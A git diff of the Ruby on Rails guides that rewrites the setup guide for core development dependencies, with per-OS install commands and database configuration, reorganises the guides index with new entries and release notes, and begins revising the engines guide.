+  development that will end your tailing of development.log. Have all information
+  about your Rails app requests in the browser — in the Developer Tools panel.
+  Provides insight to db/rendering/total times, parameter list, rendered views and
+  more.
 * [Pry](https://github.com/pry/pry) An IRB alternative and runtime developer console.
 
 References
 ----------
 
-* [byebug Homepage](https://github.com/deivid-rodriguez/byebug)
 * [web-console Homepage](https://github.com/rails/web-console)
+* [debug homepage](https://github.com/ruby/debug)
diff --git a/guides/source/development_dependencies_install.md b/guides/source/development_dependencies_install.md
index 16c7e782bc509..0b7ae739c603a 100644
--- a/guides/source/development_dependencies_install.md
+++ b/guides/source/development_dependencies_install.md
@@ -1,337 +1,239 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
-Development Dependencies Install
-================================
+Installing Rails Core Development Dependencies
+==============================================
 
-This guide covers how to setup an environment for Ruby on Rails core development.
+This guide covers how to set up an environment for Ruby on Rails core development.
 
 After reading this guide, you will know:
 
 * How to set up your machine for Rails development
-* How to run specific groups of unit tests from the Rails test suite
-* How the Active Record portion of the Rails test suite operates
 
 --------------------------------------------------------------------------------
 
-The Easy Way
-------------
+Other Ways to Set Up Your Environment
+-------------------------------------
 
-The easiest and recommended way to get a development environment ready to hack is to use the [Rails development box](https://github.com/rails/rails-dev-box).
+If you don't want to set up Rails for development on your local machine, you can use Codespaces, the VS Code Remote Plugin, or rails-dev-box. Learn more about these options [here](contributing_to_ruby_on_rails.html#setting-up-a-development-environment).
 
-The Hard Way
-------------
+Local Development
+-----------------
 
-In case you can't use the Rails development box, see section below, these are the steps to manually build a development box for Ruby on Rails core development.
+If you want to develop Ruby on Rails locally on your machine, see the steps below.
 
 ### Install Git
 
-Ruby on Rails uses Git for source code control. The [Git homepage](http://git-scm.com/) has installation instructions. There are a variety of resources on the net that will help you get familiar with Git:
-
-* [Try Git course](http://try.github.io/) is an interactive course that will teach you the basics.
-* The [official Documentation](http://git-scm.com/documentation) is pretty comprehensive and also contains some videos with the basics of Git.
-* [Everyday Git](http://schacon.github.io/git/everyday.html) will teach you just enough about Git to get by.
-* [GitHub](http://help.github.com) offers links to a variety of Git resources.
-* [Pro Git](http://git-scm.com/book) is an entire book about Git with a Creative Commons license.
+Ruby on Rails uses Git for source code control. The [Git homepage](https://git-scm.com/) has installation instructions. There are a variety of resources online that will help you get familiar with Git.
 
 ### Clone the Ruby on Rails Repository
 
-Navigate to the folder where you want the Ruby on Rails source code (it will create its own `rails` subdirectory) and run:
+Navigate to the folder where you want to download the Ruby on Rails source code (it will create its own `rails` subdirectory) and run:
 
 ```bash
-$ git clone git://github.com/rails/rails.git
+$ git clone https://github.com/rails/rails.git
 $ cd rails
 ```
 
-### Set up and Run the Tests
-
-The test suite must pass with any submitted code. No matter whether you are writing a new patch, or evaluating someone else's, you need to be able to run the tests.
-
-Install first SQLite3 and its development files for the `sqlite3` gem. Mac OS X
-users are done with:
-
-```bash
-$ brew install sqlite3
-```
-
-In Ubuntu you're done with just:
-
-```bash
-$ sudo apt-get install sqlite3 libsqlite3-dev
-```
-
-If you are on Fedora or CentOS, you're done with
-
-```bash
-$ sudo yum install sqlite3 sqlite3-devel
-```
-
-If you are on Arch Linux, you will need to run:
-
-```bash
-$ sudo pacman -S sqlite
-```
-
-For FreeBSD users, you're done with:
-
-```bash
-# pkg install sqlite3
-```
-
-Or compile the `databases/sqlite3` port.
+### Install Additional Tools and Services
 
-Get a recent version of [Bundler](http://bundler.io/)
+Some Rails tests depend on additional tools that you need to install before running those specific tests.
 
-```bash
-$ gem install bundler
-$ gem update bundler
-```
+Here's the list of each gems' additional dependencies:
 
-and run:
+* Action Cable depends on Redis
+* Active Record depends on SQLite3, MySQL and PostgreSQL
+* Active Storage depends on Yarn (additionally Yarn depends on
+  [Node.js](https://nodejs.org/)), ImageMagick, libvips, FFmpeg, muPDF,
+  Poppler, and on macOS also XQuartz.
+* Active Support depends on memcached and Redis
+* Railties depend on a JavaScript runtime environment, such as having
+  [Node.js](https://nodejs.org/) installed.
 
-```bash
-$ bundle install --without db
-```
+Install all the services you need to properly test the full gem you'll be
+making changes to. How to install these services for macOS, Ubuntu, Fedora/CentOS,
+Arch Linux, and FreeBSD are detailed below.
 
-This command will install all dependencies except the MySQL and PostgreSQL Ruby drivers. We will come back to these soon.
+NOTE: Redis' documentation discourages installations with package managers as those are usually outdated. Installing from source and bringing the server up is straight forward and well documented on [Redis' documentation](https://redis.io/download#installation).
 
-NOTE: If you would like to run the tests that use memcached, you need to ensure that you have it installed and running.
+NOTE: Active Record tests _must_ pass for at least MySQL, PostgreSQL, and SQLite3. Your patch will be rejected if tested against a single adapter, unless the change and tests are adapter specific.
 
-You can use [Homebrew](http://brew.sh/) to install memcached on OS X:
+Below you can find instructions on how to install all of the additional
+tools for different operating systems.
 
-```bash
-$ brew install memcached
-```
-
-On Ubuntu you can install it with apt-get:
+#### macOS
 
-```bash
-$ sudo apt-get install memcached
-```
+On macOS you can use [Homebrew](https://brew.sh/) to install all of the
+additional tools.
 
-Or use yum on Fedora or CentOS:
+To install all run:
 
 ```bash
-$ sudo yum install memcached
+$ brew bundle
 ```
 
-If you are running on Arch Linux:
+You'll also need to start each of the installed services. To list all
+available services run:
 
 ```bash
-$ sudo pacman -S memcached
+$ brew services list
 ```
 
-For FreeBSD users, you're done with:
+You can then start each of the services one by one like this:
 
 ```bash
-# pkg install memcached
+$ brew services start mysql
 ```
 
-Alternatively, you can compile the `databases/memcached` port.
+Replace `mysql` with the name of the service you want to start.
 
-With the dependencies now installed, you can run the test suite with:
+#### Ubuntu
 
-```bash
-$ bundle exec rake test
-```
-
-You can also run tests for a specific component, like Action Pack, by going into its directory and executing the same command:
+To install all run:
 
 ```bash
-$ cd actionpack
-$ bundle exec rake test
-```
+$ sudo apt-get update
+$ sudo apt-get install sqlite3 libsqlite3-dev mysql-server libmysqlclient-dev postgresql postgresql-client postgresql-contrib libpq-dev redis-server memcached imagemagick ffmpeg mupdf mupdf-tools libxml2-dev libvips42 poppler-utils libyaml-dev libffi-dev
 
-If you want to run the tests located in a specific directory use the `TEST_DIR` environment variable. For example, this will run the tests in the `railties/test/generators` directory only:
+# Install Yarn
+# Use this command if you do not have Node.js installed
+# ref: https://github.com/nodesource/distributions#installation-instructions
+$ sudo mkdir -p /etc/apt/keyrings
+$ curl --fail --silent --show-error --location https://deb.nodesource.com/gpgkey/nodesource-repo.gpg.key | sudo gpg --dearmor -o /etc/apt/keyrings/nodesource.gpg
+$ echo "deb [signed-by=/etc/apt/keyrings/nodesource.gpg] https://deb.nodesource.com/node_20.x nodistro main" | sudo tee /etc/apt/sources.list.d/nodesource.list
+$ sudo apt-get update
+$ sudo apt-get install -y nodejs
 
-```bash
-$ cd railties
-$ TEST_DIR=generators bundle exec rake test
+# Once you have installed Node.js, install the yarn npm package
+$ sudo npm install --global yarn
 ```
 
-You can run the tests for a particular file by using:
+#### Fedora or CentOS
 
-```bash
-$ cd actionpack
-$ bundle exec ruby -Itest test/template/form_helper_test.rb
-```
-
-Or, you can run a single test in a particular file:
+To install all run:
 
 ```bash
-$ cd actionpack
-$ bundle exec ruby -Itest path/to/test.rb -n test_name
-```
-
-### Railties Setup
+$ sudo dnf install sqlite-devel sqlite-libs mysql-server mysql-devel postgresql-server postgresql-devel redis memcached ImageMagick ffmpeg mupdf libxml2-devel vips poppler-utils
 
-Some Railties tests depend on a JavaScript runtime environment, such as having [Node.js](https://nodejs.org/) installed.
+# Install Yarn
+# Use this command if you do not have Node.js installed
+# ref: https://github.com/nodesource/distributions#installation-instructions-1
+$ sudo dnf install https://rpm.nodesource.com/pub_20/nodistro/repo/nodesource-release-nodistro-1.noarch.rpm -y
+$ sudo dnf install nodejs -y --setopt=nodesource-nodejs.module_hotfixes=1
 
-### Active Record Setup
-
-Active Record's test suite runs three times: once for SQLite3, once for MySQL, and once for PostgreSQL. We are going to see now how to set up the environment for them.
-
-WARNING: If you're working with Active Record code, you _must_ ensure that the tests pass for at least MySQL, PostgreSQL, and SQLite3. Subtle differences between the various adapters have been behind the rejection of many patches that looked OK when tested only against MySQL.
-
-#### Database Configuration
-
-The Active Record test suite requires a custom config file: `activerecord/test/config.yml`. An example is provided in `activerecord/test/config.example.yml` which can be copied and used as needed for your environment.
-
-#### MySQL and PostgreSQL
-
-To be able to run the suite for MySQL and PostgreSQL we need their gems. Install
-first the servers, their client libraries, and their development files.
-
-On OS X, you can run:
-
-```bash
-$ brew install mysql
-$ brew install postgresql
+# Once you have installed Node.js, install the yarn npm package
+$ sudo npm install --global yarn
 ```
 
-Follow the instructions given by Homebrew to start these.
+#### Arch Linux
 
-In Ubuntu just run:
+To install all run:
 
 ```bash
-$ sudo apt-get install mysql-server libmysqlclient-dev
-$ sudo apt-get install postgresql postgresql-client postgresql-contrib libpq-dev
+$ sudo pacman -S sqlite mariadb libmariadbclient mariadb-clients postgresql postgresql-libs redis memcached imagemagick ffmpeg mupdf mupdf-tools poppler yarn libxml2 libvips
+$ sudo mariadb-install-db --user=mysql --basedir=/usr --datadir=/var/lib/mysql
+$ sudo -u postgres initdb -D /var/lib/postgres/data
+$ sudo systemctl start redis mariadb memcached postgresql
 ```
 
-On Fedora or CentOS, just run:
+NOTE: If you are running Arch Linux, MySQL isn't supported anymore so you will need to
+use MariaDB instead (see [this announcement](https://www.archlinux.org/news/mariadb-replaces-mysql-in-repositories/)).
 
-```bash
-$ sudo yum install mysql-server mysql-devel
-$ sudo yum install postgresql-server postgresql-devel
-```
+#### FreeBSD
 
-If you are running Arch Linux, MySQL isn't supported anymore so you will need to
-use MariaDB instead (see [this announcement](https://www.archlinux.org/news/mariadb-replaces-mysql-in-repositories/)):
+To install all run:
 
 ```bash
-$ sudo pacman -S mariadb libmariadbclient mariadb-clients
-$ sudo pacman -S postgresql postgresql-libs
+$ sudo pkg install sqlite3 mysql80-client mysql80-server postgresql11-client postgresql11-server memcached imagemagick6 ffmpeg mupdf yarn libxml2 vips poppler-utils
+# portmaster databases/redis
 ```
 
-FreeBSD users will have to run the following:
+Or install everything through ports (these packages are located under the
+`databases` folder).
 
-```bash
-# pkg install mysql56-client mysql56-server
-# pkg install postgresql94-client postgresql94-server
-```
+NOTE: If you run into problems during the installation of MySQL, please see
+[the MySQL documentation](https://dev.mysql.com/doc/refman/en/freebsd-installation.html).
 
-Or install them through ports (they are located under the `databases` folder).
-If you run into troubles during the installation of MySQL, please see
-[the MySQL documentation](http://dev.mysql.com/doc/refman/5.1/en/freebsd-installation.html).
+#### Debian
 
-After that, run:
+To install all dependencies run:
 
 ```bash
-$ rm .bundle/config
-$ bundle install
+$ sudo apt-get install sqlite3 libsqlite3-dev default-mysql-server default-libmysqlclient-dev postgresql postgresql-client postgresql-contrib libpq-dev redis-server memcached imagemagick ffmpeg mupdf mupdf-tools libxml2-dev libvips42 poppler-utils
 ```
 
-First, we need to delete `.bundle/config` because Bundler remembers in that file that we didn't want to install the "db" group (alternatively you can edit the file).
-
-In order to be able to run the test suite against MySQL you need to create a user named `rails` with privileges on the test databases:
+NOTE: If you are running Debian, MariaDB is the default MySQL server, so be aware there may be differences.
 
-```bash
-$ mysql -uroot -p
-
-mysql> CREATE USER 'rails'@'localhost';
-mysql> GRANT ALL PRIVILEGES ON activerecord_unittest.*
-       to 'rails'@'localhost';
-mysql> GRANT ALL PRIVILEGES ON activerecord_unittest2.*
-       to 'rails'@'localhost';
-mysql> GRANT ALL PRIVILEGES ON inexistent_activerecord_unittest.*
-       to 'rails'@'localhost';
-```
-
-and create the test databases:
+### Database Configuration
 
-```bash
-$ cd activerecord
-$ bundle exec rake db:mysql:build
-```
+There are couple of additional steps required to configure database engines
+required for running Active Record tests.
 
-PostgreSQL's authentication works differently. To setup the development environment
+PostgreSQL's authentication works differently. To set up the development environment
 with your development account, on Linux or BSD, you just have to run:
 
 ```bash
 $ sudo -u postgres createuser --superuser $USER
 ```
 
-and for OS X:
+and for macOS:
 
 ```bash
 $ createuser --superuser $USER
 ```
 
-Then you need to create the test databases with
+NOTE: MySQL will create the users when the databases are created. The task assumes your user is `root` with no password.
+
+Then, you need to create the test databases for both MySQL and PostgreSQL with:
 
 ```bash
 $ cd activerecord
-$ bundle exec rake db:postgresql:build
+$ bundle exec rake db:create
 ```
 
-It is possible to build databases for both PostgreSQL and MySQL with
+You can also create test databases for each database engine separately:
 
 ```bash
 $ cd activerecord
-$ bundle exec rake db:create
+$ bundle exec rake db:mysql:build
+$ bundle exec rake db:postgresql:build
 ```
 
-You can cleanup the databases using
+and you can drop the databases using:
 
 ```bash
 $ cd activerecord
 $ bundle exec rake db:drop
 ```
 
-NOTE: Using the rake task to create the test databases ensures they have the correct character set and collation.
-
-NOTE: You'll see the following warning (or localized warning) during activating HStore extension in PostgreSQL 9.1.x or earlier: "WARNING: => is deprecated as an operator".
-
-If you're using another database, check the file `activerecord/test/config.yml` or `activerecord/test/config.example.yml` for default connection information. You can edit `activerecord/test/config.yml` to provide different credentials on your machine if you must, but obviously you should not push any such changes back to Rails.
-
-### Action Cable Setup
+NOTE: Using the Rake task to create the test databases ensures they have the correct character set and collation.
 
-Action Cable uses Redis as its default subscriptions adapter ([read more](action_cable_overview.html#broadcasting)). Thus, in order to have Action Cable's tests passing you need to install and have Redis running.
+If you're using another database, check the file `activerecord/test/config.yml` or `activerecord/test/config.example.yml` for default connection information. You can edit `activerecord/test/config.yml` to provide different credentials on your machine, but you should not push any of those changes back to Rails.
 
-#### Install Redis From Source
+### Install JavaScript Dependencies
 
-Redis' documentation discourage installations with package managers as those are usually outdated. Installing from source and bringing the server up is straight forward and well documented on [Redis' documentation](http://redis.io/download#installation).
-
-#### Install Redis From Package Manager
-
-On OS X, you can run:
+If you installed Yarn, you will need to install the JavaScript dependencies:
 
 ```bash
-$ brew install redis
+$ yarn install
 ```
 
-Follow the instructions given by Homebrew to start these.
-
-In Ubuntu just run:
+### Installing Gem Dependencies
 
-```bash
-$ sudo apt-get install redis-server
-```
+Gems are installed with [Bundler](https://bundler.io/) which ships by default with Ruby.
 
-On Fedora or CentOS (requires EPEL enabled), just run:
+To install the Gemfile for Rails run:
 
 ```bash
-$ sudo yum install redis
+$ bundle install
 ```
 
-If you are running Arch Linux just run:
+If you don't need to run Active Record tests, you can run:
 
 ```bash
-$ sudo pacman -S redis
-$ sudo systemctl start redis
+$ bundle config set without db
+$ bundle install
 ```
 
-FreeBSD users will have to run the following:
+### Contribute to Rails
 
-```bash
-# portmaster databases/redis
-```
+After you've set up everything, read how you can start [contributing](contributing_to_ruby_on_rails.html#running-an-application-against-your-local-branch).
diff --git a/guides/source/documents.yaml b/guides/source/documents.yaml
index 2925fb4b58039..bf29eb4015040 100644
--- a/guides/source/documents.yaml
+++ b/guides/source/documents.yaml
@@ -5,92 +5,176 @@
       name: Getting Started with Rails
       url: getting_started.html
       description: Everything you need to know to install Rails and create your first application.
+    -
+      name: Install Ruby on Rails
+      url: install_ruby_on_rails.html
+      description: Learn how to install the Ruby programming language and Ruby on Rails.
 -
   name: Models
   documents:
     -
       name: Active Record Basics
       url: active_record_basics.html
-      description: This guide will get you started with models, persistence to database, and the Active Record pattern and library.
+      description: >
+        Active Record allows your models to interact with the application's
+        database. This guide will get you started with Active Record models
+        and persistence to the database.
     -
       name: Active Record Migrations
       url: active_record_migrations.html
-      description: This guide covers how you can use Active Record migrations to alter your database in a structured and organized manner.
+      description: >
+        Migrations are a feature of Active Record that allows you to evolve your
+        database schema over time. Rather than write schema modifications in pure SQL,
+        migrations allow you to use a Ruby DSL to describe changes to your tables.
     -
       name: Active Record Validations
       url: active_record_validations.html
-      description: This guide covers how you can use Active Record validations.
+      description: >
+        Validations are used to ensure that only valid data is saved into your
+        database. This guide teaches you how to validate the state of objects
+        before they go into the database, using Active Record's validations
+        feature.
     -
       name: Active Record Callbacks
       url: active_record_callbacks.html
-      description: This guide covers how you can use Active Record callbacks.
+      description: >
+        Callbacks make it possible to write code that will run whenever an
+        object is created, updated, destroyed, etc. This guide teaches you how
+        to hook into this object life cycle of Active Record objects.
     -
       name: Active Record Associations
       url: association_basics.html
-      description: This guide covers all the associations provided by Active Record.
+      description: >
+        In Active Record, an association is a connection between two Active
+        Record models. This guide covers all the associations provided by
+        Active Record.
     -
       name: Active Record Query Interface
       url: active_record_querying.html
-      description: This guide covers the database query interface provided by Active Record.
+      description: >
+        Instead of using raw SQL to find database records, Active Record
+        provides better ways to carry out the same operations. This guide
+        covers different ways to retrieve data from the database using Active
+        Record.
     -
       name: Active Model Basics
       url: active_model_basics.html
-      description: This guide covers the use of model classes without Active Record.
-      work_in_progress: true
+      description: >
+        Active Model allows you to create plain Ruby objects that integrate with
+        Action Pack, but don't need Active Record for database persistence.
+        Active Model also helps build custom ORMs for use outside of
+        the Rails framework. This guide provides you with all you need to get
+        started using Active Model classes.
 -
   name: Views
   documents:
     -
       name: Action View Overview
       url: action_view_overview.html
-      description: This guide provides an introduction to Action View and introduces a few of the more common view helpers.
-      work_in_progress: true
+      description: >
+        Action View is responsible for generating the HTML for web responses.
+        This guide provides an introduction to Action View.
     -
       name: Layouts and Rendering in Rails
       url: layouts_and_rendering.html
       description: This guide covers the basic layout features of Action Controller and Action View, including rendering and redirecting, using content_for blocks, and working with partials.
+    -
+      name: Action View Helpers
+      url: action_view_helpers.html
+      description: >
+        Action View has helpers for handling everything from formatting dates
+        and linking to images, to sanitizing and localizing content. This guide
+        introduces a few of the more common Action View helpers.
     -
       name: Action View Form Helpers
       url: form_helpers.html
-      description: Guide to using built-in Form helpers.
+      description: >
+        HTML forms can quickly become tedious to write and maintain because of
+        the need to handle form control naming and its numerous attributes.
+        Rails does away with this complexity by providing view helpers for
+        generating form markup.
 -
   name: Controllers
   documents:
     -
       name: Action Controller Overview
       url: action_controller_overview.html
-      description: This guide covers how controllers work and how they fit into the request cycle in your application. It includes sessions, filters, and cookies, data streaming, and dealing with exceptions raised by a request, among other topics.
+      description: >
+        Action Controllers are the core of a web request in Rails.
+        This guide covers how controllers work and how they fit into the
+        request cycle of your application. Topics include accessing parameters in controller actions, using sessions and cookies, controller callbacks.
+    -
+      name: Action Controller Advanced Topics
+      url: action_controller_advanced_topics.html
+      description: >
+        This guide covers a number of advanced topics related to controllers in a Rails application such as protecting against cross-site request forgery, HTTP authentication, data streaming, and dealing with exceptions, log filtering, and more.
     -
       name: Rails Routing from the Outside In
       url: routing.html
-      description: This guide covers the user-facing features of Rails routing. If you want to understand how to use routing in your own Rails applications, start here.
+      description: >
+        The Rails router recognizes URLs and dispatches them to a controller's
+        action. This guide covers the user-facing features of Rails routing.
+        If you want to understand how to use routing in your own Rails
+        applications, start here.
 -
-  name: Digging Deeper
+  name: Other Components
   documents:
     -
       name: Active Support Core Extensions
       url: active_support_core_extensions.html
-      description: This guide documents the Ruby core extensions defined in Active Support.
-    -
-      name: Rails Internationalization API
-      url: i18n.html
-      description: This guide covers how to add internationalization to your applications. Your application will be able to translate content to different languages, change pluralization rules, use correct date formats for each country, and so on.
+      description: >
+        Active Support provides Ruby language extensions and utilities.
+        It enriches the Ruby language for the development of Rails
+        applications, and for the development of Ruby on Rails itself.
     -
       name: Action Mailer Basics
       url: action_mailer_basics.html
-      description: This guide describes how to use Action Mailer to send and receive emails.
+      description: >
+        This guide provides you with all you need to get started in sending
+        emails from your application, and many internals of Action Mailer.
+    -
+      name: Action Mailbox Basics
+      url: action_mailbox_basics.html
+      description: This guide describes how to use Action Mailbox to receive emails.
+    -
+      name: Action Text Overview
+      url: action_text_overview.html
+      description: This guide describes how to use Action Text to handle rich text content.
     -
       name: Active Job Basics
       url: active_job_basics.html
-      description: This guide provides you with all you need to get started creating, enqueuing, and executing background jobs.
+      description: >
+        Active Job is a framework for declaring background jobs and making them
+        run on a variety of queuing backends. This guide provides you with all
+        you need to get started creating, enqueuing, and executing background
+        jobs.
+    -
+      name: Active Storage Overview
+      url: active_storage_overview.html
+      description: >
+        Active Storage facilitates uploading files to a cloud storage service,
+        transforming uploads and extracting metadata. This guide covers how to
+        attach files to your Active Record models.
+    -
+      name: Action Cable Overview
+      url: action_cable_overview.html
+      description: >
+        Action Cable integrates WebSockets with the rest of your Rails
+        application. It allows for real-time features to be written in Ruby in
+        the same style and form as the rest of your Rails application. This
+        guide explains how Action Cable works, and how to use WebSockets to
+        create real-time features.
+-
+  name: Digging Deeper
+  documents:
+    -
+      name: Rails Internationalization (I18n) API
+      url: i18n.html
+      description: This guide covers how to add internationalization to your applications. Your application will be able to translate content to different languages, change pluralization rules, use correct date formats for each country, and so on.
     -
       name: Testing Rails Applications
       url: testing.html
-      description: This is a rather comprehensive guide to the various testing facilities in Rails. It covers everything from 'What is a test?' to Integration Testing. Enjoy.
-    -
-      name: Securing Rails Applications
-      url: security.html
-      description: This guide describes common security problems in web applications and how to avoid them with Rails.
+      description: This guide explores how to write tests in Rails. It also covers test configuration and compares approaches to testing an application.
     -
       name: Debugging Rails Applications
       url: debugging_rails_applications.html
@@ -102,53 +186,90 @@
     -
       name: The Rails Command Line
       url: command_line.html
-      description: This guide covers the command line tools provided by Rails.
+      description: >
+        There are a few commands that are absolutely critical to your everyday
+        usage of Rails. This guide covers the command line tools provided by
+        Rails.
     -
-      name: Asset Pipeline
+      name: The Asset Pipeline
       url: asset_pipeline.html
-      description: This guide documents the asset pipeline.
+      description: >
+        The asset pipeline guide explains how to use Propshaft, a framework that
+        handles essential asset management tasks.
     -
       name: Working with JavaScript in Rails
       url: working_with_javascript_in_rails.html
-      description: This guide covers the built-in Ajax/JavaScript functionality of Rails.
+      description: >
+        This guide explains how to use import maps or jsbundling-rails to include
+        JavaScript in Rails applications, and covers the basics of working with Turbo in Rails.
     -
       name: The Rails Initialization Process
       work_in_progress: true
       url: initialization.html
-      description: This guide explains the internals of the Rails initialization process.
+      description: >
+        This guide explains the internals of the initialization process in
+        Rails. It is an extremely in-depth guide and recommended for advanced
+        Rails developers.
     -
-      name: Autoloading and Reloading Constants
+      name: Autoloading and Reloading
       url: autoloading_and_reloading_constants.html
       description: This guide documents how autoloading and reloading constants work.
-    -
-      name: "Caching with Rails: An Overview"
-      url: caching_with_rails.html
-      description: This guide is an introduction to speeding up your Rails application with caching.
     -
       name: Active Support Instrumentation
       work_in_progress: true
       url: active_support_instrumentation.html
       description: This guide explains how to use the instrumentation API inside of Active Support to measure events inside of Rails and other Ruby code.
-    -
-      name: Profiling Rails Applications
-      work_in_progress: true
-      url: profiling.html
-      description: This guide explains how to profile your Rails applications to improve performance.
     -
       name: Using Rails for API-only Applications
       url: api_app.html
       description: This guide explains how to effectively use Rails to develop a JSON API application.
+
+-
+  name: Going to Production
+  documents:
     -
-      name: Action Cable Overview
-      url: action_cable_overview.html
-      description: This guide explains how Action Cable works, and how to use WebSockets to create real-time features.
+      name: Tuning Performance for Deployment
+      url: tuning_performance_for_deployment.html
+      description: This guide covers performance and concurrency configuration for deploying your production Ruby on Rails application.
+    -
+      name: "Caching with Rails: An Overview"
+      url: caching_with_rails.html
+      description: This guide is an introduction to speeding up your Rails application with caching.
+    -
+      name: Securing Rails Applications
+      url: security.html
+      description: This guide describes common security problems in web applications and how to avoid them with Rails.
+    -
+      name: Error Reporting in Rails Applications
+      url: error_reporting.html
+      description: This guide introduces ways to manage errors that occur in Ruby on Rails applications.
+
+-
+  name: Advanced Active Record
+  documents:
+    -
+      name: Active Record and PostgreSQL
+      work_in_progress: true
+      url: active_record_postgresql.html
+      description: This guide covers PostgreSQL specific usage of Active Record.
+    -
+      name: Multiple Databases
+      url: active_record_multiple_databases.html
+      description: This guide covers using multiple databases in your application.
+    -
+      name: Active Record Encryption
+      url: active_record_encryption.html
+      description: This guide covers encrypting your database information using Active Record.
+    -
+      name: Composite Primary Keys
+      url: active_record_composite_primary_keys.html
+      description: This guide is an introduction to composite primary keys for database tables.
 
 -
   name: Extending Rails
   documents:
     -
       name: The Basics of Creating Rails Plugins
-      work_in_progress: true
       url: plugins.html
       description: This guide covers how to build a plugin to extend the functionality of Rails.
     -
@@ -156,31 +277,41 @@
       url: rails_on_rack.html
       description: This guide covers Rails integration with Rack and interfacing with other Rack components.
     -
-      name: Creating and Customizing Rails Generators
+      name: Creating and Customizing Rails Generators & Templates
       url: generators.html
       description: This guide covers the process of adding a brand new generator to your extension or providing an alternative to an element of a built-in Rails generator (such as providing alternative test stubs for the scaffold generator).
     -
-      name: Getting Started with Engines
+      name: Rails Engines Overview
       url: engines.html
-      description: This guide explains how to write a mountable engine.
-      work_in_progress: true
+      description: >
+        Engines are packaged like miniature applications that provide
+        additional functionality to their host applications. In this guide you
+        will learn how to create your own engine and integrate it with a host
+        application.
+    -
+      name: Threading and Code Execution in Rails
+      url: threading_and_code_execution.html
+      description: This guide describes the considerations needed and tools available when working directly with concurrency in a Rails application.
 -
-  name: Contributing to Ruby on Rails
+  name: Contributing
   documents:
     -
       name: Contributing to Ruby on Rails
       url: contributing_to_ruby_on_rails.html
-      description: Rails is not 'somebody else's framework.' This guide covers a variety of ways that you can get involved in the ongoing development of Rails.
+      description: Rails is not "someone else's framework". This guide covers a variety of ways that you can get involved in the ongoing development of Rails.
     -
       name: API Documentation Guidelines
       url: api_documentation_guidelines.html
       description: This guide documents the Ruby on Rails API documentation guidelines.
     -
-      name: Ruby on Rails Guides Guidelines
+      name: Guides Guidelines
       url: ruby_on_rails_guides_guidelines.html
       description: This guide documents the Ruby on Rails guides guidelines.
+    - name: Installing Rails Core Development Dependencies
+      url: development_dependencies_install.html
+      description: This guide covers how to set up an environment for Ruby on Rails core development.
 -
-  name: Maintenance Policy
+  name: Policies
   documents:
     -
       name: Maintenance Policy
@@ -192,40 +323,83 @@
     -
       name: Upgrading Ruby on Rails
       url: upgrading_ruby_on_rails.html
-      description: This guide helps in upgrading applications to latest Ruby on Rails versions.
+      description: >
+        This guide provides steps to be followed when you upgrade your
+        applications to a newer version of Ruby on Rails.
+    -
+      name: Version 8.2 - ?
+      url: 8_2_release_notes.html
+      description: Release notes for Rails 8.2.
+      work_in_progress: true
+    -
+      name: Version 8.1 - October 2025
+      url: 8_1_release_notes.html
+      description: Release notes for Rails 8.1.
+    -
+      name: Version 8.0 - November 2024
+      url: 8_0_release_notes.html
+      description: Release notes for Rails 8.0.
+    -
+      name: Version 7.2 - August 2024
+      url: 7_2_release_notes.html
+      description: Release notes for Rails 7.2.
+    -
+      name: Version 7.1 - October 2023
+      url: 7_1_release_notes.html
+      description: Release notes for Rails 7.1.
+    -
+      name: Version 7.0 - December 2021
+      url: 7_0_release_notes.html
+      description: Release notes for Rails 7.0.
+    -
+      name: Version 6.1 - December 2020
+      url: 6_1_release_notes.html
+      description: Release notes for Rails 6.1.
+    -
+      name: Version 6.0 - August 2019
+      url: 6_0_release_notes.html
+      description: Release notes for Rails 6.0.
+    -
+      name: Version 5.2 - April 2018
+      url: 5_2_release_notes.html
+      description: Release notes for Rails 5.2.
+    -
+      name: Version 5.1 - April 2017
+      url: 5_1_release_notes.html
+      description: Release notes for Rails 5.1.
     -
-      name: Ruby on Rails 5.0 Release Notes
+      name: Version 5.0 - June 2016
       url: 5_0_release_notes.html
       description: Release notes for Rails 5.0.
     -
-      name: Ruby on Rails 4.2 Release Notes
+      name: Version 4.2 - December 2014
       url: 4_2_release_notes.html
       description: Release notes for Rails 4.2.
     -
-      name: Ruby on Rails 4.1 Release Notes
+      name: Version 4.1 - April 2014
       url: 4_1_release_notes.html
       description: Release notes for Rails 4.1.
     -
-      name: Ruby on Rails 4.0 Release Notes
+      name: Version 4.0 - June 2013
       url: 4_0_release_notes.html
       description: Release notes for Rails 4.0.
     -
-      name: Ruby on Rails 3.2 Release Notes
+      name: Version 3.2 - January 2012
       url: 3_2_release_notes.html
       description: Release notes for Rails 3.2.
     -
-      name: Ruby on Rails 3.1 Release Notes
+      name: Version 3.1 - August 2011
       url: 3_1_release_notes.html
       description: Release notes for Rails 3.1.
     -
-      name: Ruby on Rails 3.0 Release Notes
+      name: Version 3.0 - August 2010
       url: 3_0_release_notes.html
       description: Release notes for Rails 3.0.
     -
-      name: Ruby on Rails 2.3 Release Notes
+      name: Version 2.3 - March 2009
       url: 2_3_release_notes.html
       description: Release notes for Rails 2.3.
     -
-      name: Ruby on Rails 2.2 Release Notes
+      name: Version 2.2 - November 2008
       url: 2_2_release_notes.html
       description: Release notes for Rails 2.2.
diff --git a/guides/source/engines.md b/guides/source/engines.md
index 180a7862372ba..49cf181a5ab78 100644
--- a/guides/source/engines.md
+++ b/guides/source/engines.md
@@ -1,95 +1,218 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
-Getting Started with Engines
-============================
+Rails Engines Overview
+======================
 
 In this guide you will learn about engines and how they can be used to provide
-additional functionality to their host applications through a clean and very
+additional functionality to their host applications through a clean and
 easy-to-use interface.
 
 After reading this guide, you will know:
 
-* What makes an engine.
+* What is an engine.
 * How to generate an engine.
 * How to build features for the engine.
 * How to hook the engine into an application.
 * How to override engine functionality in the application.
+* How to avoid loading Rails frameworks with Load and Configuration Hooks.
 
 --------------------------------------------------------------------------------
 
-What are engines?
+What are Engines?
 -----------------
 
-Engines can be considered miniature applications that provide functionality to
-their host applications. A Rails application is actually just a "supercharged"
-engine, with the `Rails::Application` class inheriting a lot of its behavior
-from `Rails::Engine`.
-
-Therefore, engines and applications can be thought of as almost the same thing,
-just with subtle differences, as you'll see throughout this guide. Engines and
-applications also share a common structure.
-
-Engines are also closely related to plugins. The two share a common `lib`
